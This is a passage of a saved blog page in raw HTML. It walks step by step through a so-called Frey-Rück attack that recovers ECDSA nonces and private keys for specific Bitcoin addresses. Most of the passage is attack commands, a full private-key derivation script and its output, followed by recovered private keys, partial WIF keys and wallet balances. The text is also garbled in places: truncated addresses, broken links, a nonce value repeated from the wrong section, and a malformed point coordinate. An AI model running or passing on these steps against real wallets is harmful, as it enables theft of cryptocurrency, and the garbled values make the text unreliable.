HEX: 4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/002.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-755"></figure>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><a href="
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><code>Private Key Found!</code></p>
<figure class="wp-block-image"><a href=" target="_blank" rel="noreferrer noopener"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-16-1024x449.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-781"></a><figcaption><code><strong>www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG</strong></code></figcaption></figure>
<p><code>BALANCE: $ 711.37</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><strong><code>№2</code></strong></p>
<p>With detailed cryptanalysis, we also found a critical in Bitcoin Address:</p>
<blockquote class="wp-block-quote"><p><strong><a href=" target="_blank" rel="noreferrer noopener">1HYDQRwXb5</a></strong></p><p><a href=" target="_blank" rel="noreferrer noopener"> href=" target="_blank" rel="noreferrer noopener">
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-3.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-649"></figure>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-4.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-651"></figure>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Prepare RawTX for the attack</h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<blockquote class="wp-block-quote"><p><strong><a href=" target="_blank" rel="noreferrer noopener">1HYDQRwXb5</a></strong></p><p><a href=" target="_blank" rel="noreferrer noopener">
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-17-1024x91.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-790"></figure>
<pre class="wp-block-code"><code>RawTX = 0231a6d229f0dbea21477c631fd38d8c87159dc59b917bb822c4f593b5fba8e040000006a458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d0220445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d0376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff0000000046a000
</code></pre>
<h2>Now we need to get all R, S, Z from all transactions</h2>
<p>Let’s use the breakECDSA.py script</p>
<pre class="wp-block-code"><code>python2 breakECDSA.py 0231a6d229f0dbea21477c631fd38d8c87159dc59b917bb822c4f593b5fba8e040000006a458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d0220445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d0376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff0000000046a000
</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-54-1024x261.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-994"></figure>
<pre class="wp-block-code"><code>R = 0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d
S = 0x445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d0913
Z = 0x8b65d49dde9949e5ea18ae637d7f4f48c7c3b38957892a94a3bab994fec4eee7</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p>To get the secret key from a ECDSA signing transaction, let’s add the data <code>RawTX</code>to a text document and save it as a file<code>RawTX.txt</code></p>
<pre class="wp-block-code"><code>0231a6d229f0dbea21477c631fd38d8c87159dc59b917bb822c4f593b5fba8e040000006a458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d0220445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d0376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff0000000046a000</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Launch <code>-tool frey_ruck_attack</code>using software<code>“ATTACKSAFE SOFTWARE”</code></h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<pre class="wp-block-code"><code>./attacksafe -tool frey_ruck_attack -open RawTX.txt -sa.txt</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-55-1024x313.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-996"></figure>
<p>We launched this attack from <code>-tool frey_ruck_attack</code>and the result was saved to a file<code>SecretKey.txt</code></p>
<p>Now to see the successful result, open the file<code>SecretKey.txt</code></p>
<pre class="wp-block-code"><code>cat SecretKey.txt</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-57-1024x466.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-999"></figure>
<pre class="wp-block-code"><code>Deployments ECDSA:
SecretKey = 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c
RawTX = 0231a6d229f0dbea21477c631fd38d8c87159dc59b917bb822c4f593b5fba8e040000006a458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d0220445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d0376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff0000000046a000</code></pre>
<p>We see an inscription <code>"Deployments ECDSA"</code>that means a critical in the Bitcoin blockchain transaction.</p>
<p><code>SecretKey value in HEX format, this is our secret key "K" (NONCE):</code></p>
<p><code>K = 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Let’s check with a <em>Python</em> script<code>point2gen.py</code></h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><a href=" target="_blank" rel="noreferrer noopener"><strong>Let’s use the ECPy</strong></a> elliptic cur :</p>
<p>Now let’s run the script by specifying <code>secret key"K" (NONCE)</code>:</p>
<pre class="wp-block-code"><code>python3 point2gen.py 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-58-1024x85.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1003"></figure>
<p><code>(0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d , 0x8d8650fddf514e1263e18650a0e72c08f20eeb3c34ad0dd13b3792b890d3ca44)</code></p>
<p>Checking the coordinates of a point <code>EC (secp256k1) </code>with a signature value<code>R</code></p>
<pre class="wp-block-code"><code>R = 0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d
S = 0x445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d0913
Z = 0x8b65d49dde9949e5ea18ae637d7f4f48c7c3b38957892a94a3bab994fec4eee7</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<pre class="wp-block-code"><code>R = 0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d
point2gen = (0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d , 0x8d8650fddf514e1263e18650a0e72c08f20eeb3c34ad0dd13b3792b890d3ca44)
</code></pre>
<p><code>ALL CORRECT!</code></p>
<p><code>K = 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c</code></p>
<p>Now knowing the secret key, we can get the private key to the Bitcoin Wallet:<code>1HYDQRwXb5</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Let’s use the <em>Python</em> script: <code>calculate.py</code> > > > Get the Private Key</h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p>Let’s open the code and add all the value of the signatures<code><strong>K, R, S, Z</strong></code></p>
<pre class="wp-block-code"><code>def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient*x, x
y, lasty = lasty - quotient*y, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c
R = 0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d
S = 0x445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d0913
Z = 0x8b65d49dde9949e5ea18ae637d7f4f48c7c3b38957892a94a3bab994fec4eee7
print (h((((S * K) - Z) * modinv(R,N)) % N))</code></pre>
<h2>The script will calculate the private key using the formula:</h2>
<p><code>Privkey = ((((S * K) - Z) * modinv(R,N)) % N)</code></p>
<p>Let’s run the script:</p>
<pre class="wp-block-code"><code>python3 calculate.py</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-59.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1004"></figure>
<p><code>PrivKey = 4f539d49b23b87697b74e2f508d4260936e5f47856dae5090d4f5bde1b863a82</code></p>
<p><strong><a href=" target="_blank" rel="noreferrer noopener">Let’s open bitaddress</a></strong> and check:</p>
<pre class="wp-block-code"><code>ADDR: 1HYDQRwXb5
WIF: KysupQsbEPB7cEcUwpTpxdCAMTk4Q
HEX: 4f539d49b23b87697b74e2f508d4260936e5f47856dae5090d4f5bde1b863a82</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/a2.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-824"></figure>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><a href="
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><code>Private Key Found!</code></p>
<figure class="wp-block-image"><a href=" target="_blank" rel="noreferrer noopener"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-18-1024x449.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-802"></a><figcaption><strong><code>www.blockchain.com/btc/address/1HYDQRwXb5</code></strong></figcaption></figure>
<p><code>BALANCE: $ 677.14</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<blockquote class="wp-block-quote"><p><em>The potential threat of losing BTC coins lies in the critical of the Bitcoin blockchain transaction, so we strongly recommend that e always update the software and use only devices.</em></p></blockquote>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p>With detailed cryptanalysis, we also found a critical in <strong><a href=" target="_blank" rel="noreferrer noopener">e5bb4aba7dc061059ac163e2dd62b4b025454f5db85e4ec65f45edee97d91393</a></strong> for the same Bitcoin Address<strong><code> TXID:</code></strong><strong><a href=" target="_blank" rel="noreferrer noopener"></a></strong></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Prepare RawTX for the attack</h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<blockquote class="wp-block-quote"><p><strong><a href=" target="_blank" rel="noreferrer noopener">1HYDQRwXb5</a></strong></p><p><a href=" target="_blank" rel="noreferrer noopener">
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-19-1024x95.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-851"></figure>
<pre class="wp-block-code"><code>RawTX = 069985c4db3fc4fb6b7671a58f4858a20c11922b8a84cecdefd4687f105362a0e0000006c0cda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8022100ab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad0273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff0000000046a000
</code></pre>
<h2>Now we need to get all R, S, Z from all transactions</h2>
<p>Let’s use the breakECDSA.py script</p>
<pre class="wp-block-code"><code>python2 breakECDSA.py 069985c4db3fc4fb6b7671a58f4858a20c11922b8a84cecdefd4687f105362a0e0000006c0cda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8022100ab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad0273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff0000000046a000
</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-60-1024x252.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1006"></figure>
<pre class="wp-block-code"><code>R = 0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8
S = 0xab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad8428975
Z = 0x9d568564500c4b9911ccd4dbb3865e0c9129f2697e9a710f575c63f5f22753b1</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p>To get the secret key from a ECDSA signing transaction, let’s add the data <code>RawTX</code>to a text document and save it as a file<code>RawTX.txt</code></p>
<pre class="wp-block-code"><code>069985c4db3fc4fb6b7671a58f4858a20c11922b8a84cecdefd4687f105362a0e0000006c0cda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8022100ab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad0273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff0000000046a000</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Launch <code>-tool frey_ruck_attack</code>using software<code>“ATTACKSAFE SOFTWARE”</code></h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<pre class="wp-block-code"><code>./attacksafe -tool frey_ruck_attack -open RawTX.txt -sa.txt</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-61-1024x310.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1008"></figure>
<p>We launched this attack from <code>-tool frey_ruck_attack</code>and the result was saved to a file<code>SecretKey.txt</code></p>
<p>Now to see the successful result, open the file<code>SecretKey.txt</code></p>
<pre class="wp-block-code"><code>cat SecretKey.txt</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-62-1024x453.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1011"></figure>
<pre class="wp-block-code"><code>Deployments ECDSA:
SecretKey = 0xfe150813ba57b990dc7bfacbd3f6c8f6c78a3758789628bdb53808a7fb0d8154
RawTX = 069985c4db3fc4fb6b7671a58f4858a20c11922b8a84cecdefd4687f105362a0e0000006c0cda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8022100ab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad0273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff0000000046a000</code></pre>
<p>We see an inscription <code>"Deployments ECDSA"</code>that means a critical in the Bitcoin blockchain transaction.</p>
<p><code>SecretKey value in HEX format, this is our secret key "K" (NONCE):</code></p>
<p><code>K = 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Let’s check with a <em>Python</em> script<code>point2gen.py</code></h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><a href=" target="_blank" rel="noreferrer noopener"><strong>Let’s use the ECPy</strong></a> elliptic cur :</p>
<p>Now let’s run the script by specifying <code>secret key</code> <code>"K" (NONCE)</code>:</p>
<pre class="wp-block-code"><code>python3 point2gen.py 0xfe150813ba57b990dc7bfacbd3f6c8f6c78a3758789628bdb53808a7fb0d8154</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-63-1024x94.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1015"></figure>
<p><code>(0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8 , 0x8ef495c9057b590ef5437f710ad585bccc4344a48feeeb28c33bff8b7154662)</code></p>
<p>Checking the coordinates of a point <code>EC (secp256k1) </code>with a signature value<code>R</code></p>
<pre class="wp-block-code"><code>R = 0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8
S = 0xab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad8428975
Z = 0x9d568564500c4b9911ccd4dbb3865e0c9129f2697e9a710f575c63f5f22753b1</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<pre class="wp-block-code"><code>R = 0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8
point2gen = (0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8 , 0x8ef495c9057b590ef5437f710ad585bccc4344a48feeeb28c33bff8b7154662)
</code></pre>
<p><code>ALL CORRECT!</code></p>
<p><code>K = 0xfe150813ba57b990dc7bfacbd3f6c8f6c78a3758789628bdb53808a7fb0d8154</code></p>
<p>Now knowing the secret key, we can get the private key to the Bitcoin Wallet:<code>1HYDQRwXb5</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Let’s use the <em>Python</em> script: <code>calculate.py</code> > > > Get the Private Key</h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p>Let’s open the code and add all the value of the signatures<code><strong>K, R, S, Z</strong></code></p>
<pre class="wp-block-code"><code>def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient*x, x
y, lasty = lasty - quotient*y, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0xfe150813ba57b990dc7bfacbd3f6c8f6c78a3758789628bdb53808a7fb0d8154
R = 0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8
S = 0xab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad8428975
Z = 0x9d568564500c4b9911ccd4dbb3865e0c9129f2697e9a710f575c63f5f22753b1
print (h((((S * K) - Z) * modinv(R,N)) % N))</code></pre>
<h2>The script will calculate the private key using the formula:</h2>
<p><code>Privkey = ((((S * K) - Z) * modinv(R,N)) % N)</code></p>
<p>Let’s run the script:</p>
<pre class="wp-block-code"><code>python3 calculate.py</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-64.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1017"></figure>
<p><code>PrivKey = 4f539d49b23b87697b74e2f508d4260936e5f47856dae5090d4f5bde1b863a82</code></p>
<p><strong><a href=" target="_blank" rel="noreferrer noopener">Let’s open bitaddress</a></strong> and check:</p>
<pre class="wp-block-code"><code>ADDR: 1HYDQRwXb5
WIF: KysupQsbEPB7cEcUwpTpxdCAMTk4Q
HEX: 4f539d49b23b87697b74e2f508d4260936e5f47856dae5090d4f5bde1b863a82</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/a2.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-824"></figure>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><a href="
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><code>Private Key Found!</code></p>
<figure class="wp-block-image"><a href=" target="_blank" rel="noreferrer noopener"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-18-1024x449.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-802"></a><figcaption><strong><code>www.blockchain.com/btc/address/1HYDQRwXb5</code></strong></figcaption></figure>
<p><code>BALANCE: $ 677.14</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><strong><code>№3</code></strong></p>
<p>With detailed cryptanalysis, we also found a critical in Bitcoin Address:</p>
<blockquote class="wp-block-quote"><p><strong><a href=" target="_blank" rel="noreferrer noopener">16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2</a></strong></p><p><a href=" target="_blank" rel="noreferrer noopener"> href=" target="_blank" rel="noreferrer noopener">
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-5.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-661"></figure>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-6.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-663"></figure>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Prepare RawTX for the attack</h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<blockquote class="wp-block-quote"><p><strong><a href=" target="_blank" rel="noreferrer noopener">16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2</a></strong></p><p><a href=" target="_blank" rel="noreferrer noopener">
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-20-1024x93.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-858"></figure>
<pre class="wp-block-code"><code>RawTX = 04710097c3901265cc9a6d9efb9d1d3135ef86b627e345e10590455d8c532b9150000006b2786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd2100b0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a01210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff0000000046a000
</code></pre>
<h2>Now we need to get all R, S, Z from all transactions</h2>
<p>Let’s use the breakECDSA.py script</p>
<pre class="wp-block-code"><code>python2 breakECDSA.py 04710097c3901265cc9a6d9efb9d1d3135ef86b627e345e10590455d8c532b9150000006b2786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd2100b0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a01210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff0000000046a000
</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-65-1024x256.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1020"></figure>
<pre class="wp-block-code"><code>R = 0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143
S = 0xb0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a
Z = 0xd423dca052d4c5b84cf9b847a0fb9ad192cb131da70e6b3770e6444e4b8e06d0</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p>To get the secret key from a ECDSA signing transaction, let’s add the data <code>RawTX</code>to a text document and save it as a file<code>RawTX.txt</code></p>
<pre class="wp-block-code"><code>04710097c3901265cc9a6d9efb9d1d3135ef86b627e345e10590455d8c532b9150000006b2786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd2100b0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a01210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff0000000046a000</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Launch <code>-tool frey_ruck_attack</code>using software<code>“ATTACKSAFE SOFTWARE”</code></h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<pre class="wp-block-code"><code>./attacksafe -tool frey_ruck_attack -open RawTX.txt -sa.txt</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-66-1024x306.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1022"></figure>
<p>We launched this attack from <code>-tool frey_ruck_attack</code>and the result was saved to a file<code>SecretKey.txt</code></p>
<p>Now to see the successful result, open the file<code>SecretKey.txt</code></p>
<pre class="wp-block-code"><code>cat SecretKey.txt</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-67-1024x462.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1024"></figure>
<pre class="wp-block-code"><code>Deployments ECDSA:
SecretKey = 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce
RawTX = 04710097c3901265cc9a6d9efb9d1d3135ef86b627e345e10590455d8c532b9150000006b2786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd2100b0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a01210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff0000000046a000</code></pre>
<p>We see an inscription <code>"Deployments ECDSA"</code>that means a critical in the Bitcoin blockchain transaction.</p>
<p><code>SecretKey value in HEX format, this is our secret key "K" (NONCE):</code></p>
<p><code>K = 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Let’s check with a <em>Python</em> script<code>point2gen.py</code></h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><a href=" target="_blank" rel="noreferrer noopener"><strong>Let’s use the ECPy</strong></a> elliptic cur :</p>
<p>Now let’s run the script by specifying <code>secret key "K" (NONCE)</code>:</p>
<pre class="wp-block-code"><code>python3 point2gen.py 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-68-1024x93.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1027"></figure>
<p><code>(0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143 , 0xe9c10b0f39c9ca1981197061d58b4cbf354d60a0ebb63d5bf6125)</code></p>
<p>Checking the coordinates of a point <code>EC (secp256k1) </code>with a signature value<code>R</code></p>
<pre class="wp-block-code"><code>R = 0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143
S = 0xb0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a
Z = 0xd423dca052d4c5b84cf9b847a0fb9ad192cb131da70e6b3770e6444e4b8e06d0</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<pre class="wp-block-code"><code>R = 0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143
point2gen = (0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143 , 0xe9c10b0f39c9ca1981197061d58b4cbf354d60a0ebb63d5bf6125)
</code></pre>
<p><code>ALL CORRECT!</code></p>
<p><code>K = 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce</code></p>
<p>Now knowing the secret key, we can get the private key to the Bitcoin Wallet:<code>16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Let’s use the <em>Python</em> script: <code>calculate.py</code> > > > Get the Private Key</h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p>Let’s open the code and add all the value of the signatures<code><strong>K, R, S, Z</strong></code></p>
<pre class="wp-block-code"><code>def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient*x, x
y, lasty = lasty - quotient*y, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce
R = 0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143
S = 0xb0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a
Z = 0xd423dca052d4c5b84cf9b847a0fb9ad192cb131da70e6b3770e6444e4b8e06d0
print (h((((S * K) - Z) * modinv(R,N)) % N))</code></pre>
<h2>The script will calculate the private key using the formula:</h2>
<p><code>Privkey = ((((S * K) - Z) * modinv(R,N)) % N)</code></p>
<p>Let’s run the script:</p>
<pre class="wp-block-code"><code>python3 calculate.py</code></pre>
